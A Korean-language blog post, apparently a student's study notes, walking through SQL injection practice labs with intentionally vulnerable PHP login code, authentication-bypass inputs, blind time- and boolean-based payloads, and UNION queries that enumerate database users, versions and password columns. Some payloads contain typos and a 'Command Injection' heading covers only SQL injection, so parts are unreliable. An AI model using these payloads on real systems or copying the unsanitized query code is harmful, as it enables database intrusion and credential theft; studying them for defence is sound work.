일단 진행시켜

💉SQL Injection 직접 실습 본문

🕸️ Web에 대해

💉SQL Injection 직접 실습

2024. 8. 11. 21:52

 

SQL Injection?

특정 SQL 쿼리문을 전송하여 DB로부터 원하는 정보를 탈취하는 해킹 기법

 

<?php
    include "./config.php";
    $con = con();
    if(preg_match('/lecture|_|\.|\(\)|or|and/i', $_GET['id'])) exit("Detected!");
    if(preg_match('/lecture|_|\.|\(\)|or|and/i', $_GET['password'])) exit("Detected!");
    $sql = "SELECT id FROM users WHERE id='{$_GET['id']}' AND password='{$_GET['password']}'";
    echo "<h1>Query : <strong>{$sql}</strong></h1><br><br><br>";
    $result = @mysqli_fetch_array(mysqli_query($con,$sql));
    if($result['id'] == 'admin')
    {
        solve();
    }
    highlight_file(__FILE__);
?>

 

 

pw는 모르겠으나 id가 admin이기만 해도 slove()가 실행되므로, id=admin으로 설정해 주면 된다.

 

정답

index.php?id='admin' -- -'&pw=''

 

pw 부분은 주석 처리 :  -- -

 

 

 

또 다른 실습을 진행해보았다.

 

<?php
    include "./config.php";
    $con = con();
    $id = isset($_GET['id']) ? $_GET['id'] : '';
    $password = isset($_GET['password']) ? $_GET['password'] : '';

    if (!empty($id) && !empty($password)) {
        $sql = "SELECT id FROM users WHERE id='$id' AND password='$password'";
        echo "<h1>Query : <strong>{$sql}</strong></h1><br><br><br>";
        $result = @mysqli_fetch_array(mysqli_query($con,$sql));
        if($result['id'] == 'admin')
        {
            echo "<h1>admin check!</h1><br><br><br>";
        }
    }
    highlight_file(__FILE__);
?>

 

이번에는 id와 pw가 모두 전달되어야 한다.

 

1. database 이름 길이 알아내기

union select length(database())<6 and sleep(3) -- -' AND password='123'

 

2. database 이름 알아내기

' union select ascii(substr(database(),5,5))=49 nad sleep(3) -- -&password='123'

 

3. information_schema.columns를 통해 조회하기

' and (ascii(substring((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))=110) -- &password=123

 

정답

id=admin&password=SELECT password FROM users WHERE id='admin'

 

 

 

 

 

2. Blind SQL Injection

  • 취약점은 발견했는데 한 번에 정보를 탈취할 수 없는 경우
  • 참/거짓을 이용하여 정보 탈취 진행

예시

 

database() 글자를 하나씩 맞춰가며 정보를 탈취하는 모습.

T/F를 알기 위해 sleep() 메서드도 적극 활용하기도 한다.

 

 

system_user(), user(), version() 탈취

' union select 를 활용하여 STORE의 보이는 컬럼에 정보를 조회

최상위 유저가 관리를 모두 진행한다면 이 부분을 이용하여 더 많은 악의 쿼리를 주입할 수 있으니 분업화를 하자.

 

 

 

아래 예시는 password 길이 및 내용을 알아내는 과정 중 일부 캡쳐본이다.

해당 사이트의 password len은 5다.

이에 대해 asfasdf' or id="알아낸아이디" and length(pass)<5 -- - 를 실행할 경우

아래 메세지를 통해 T임을 알 수 있다.

메시지를 통해 T/F 파악하기 (블라인드 익젝션)

 

' or id="알아낸아이디" and substr(pass,1,2)='ne' -- - 

주어진 길이에 맞게 pass를 맞출 수 있다.

 

 

정리

✔️ DB 결과가 내부적으로만 처리되어 보이지 않는다.

✔️ 보여지는 메시지를 통해 참/거짓을 알 수 있다.

 

' and length(database()) = 8## 이 먹히는 모습

 

 

 

 

 

3. Commnad Injection

  • 프로그램이 외부에서 받은 시스템 명령어를 검증하지 않고 실행하여, 의도하지 않은 시스템 명령어가 실행되는 취약점
  • 공격 유형은 아래와 같다.
    • 부적절한 권한 변경
    • 시스템 권한 획득
    • 시스템 동작/운영에 악영향

 

DB Error가 화면에 보여지는 모습

임의로 보낸 값에 대한 DB Error가 뷰단에 보여지는 것을 통해 SQL Injection이 먹히는 환경임을 알 수 있다.

 

 

이제 컬럼 개수를 확인해 보자.

no=74' order by 7#

 

&no=74' order by 8# 을 주입했을 때 Error가 나는 것으로 보아, table board의 column 개수는 7개임을 파악.

 

 

' order by N -- -

order by와 주석을 활용하여 컬럼 개수를 조회할 수 있다.

 

 

 

 

이 7개의 컬럼중 조회가능한 컬럼이 무엇인지 알아보자.

(그걸 통해 정보를 탈취해야 하니까)

no=0' union select 1,2,3,4,5,6,7#

 

' union select

이 중 보이는 컬럼 2,3,4,6을 활용하여 조회하면 되겠다.

 

 

버전이랑 db user에 대해 조회해 보자.

' union select 1,@@version,3,user(),5,6,7#

 

 

 

위에서 이미 정리했지만

table members를 알았을 때, 해당 테이블의 컬럼을 조회할 수도 있다.

members 이름 상 password 등 사용자에 관한 정보가 담겨있을 것 같으니, 조회해 볼 만하다.

 

' union all select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name = 'member' limit 2,1#

 

members의 컬럼명을 하나씩 조회한다.

limit 2,1 을 통해 2번째 컬럼은 pass임을 알 수 있다.

 

 

 

'🕸️ Web에 대해' 카테고리의 다른 글

웹과 웹 해킹  (0) 2024.08.11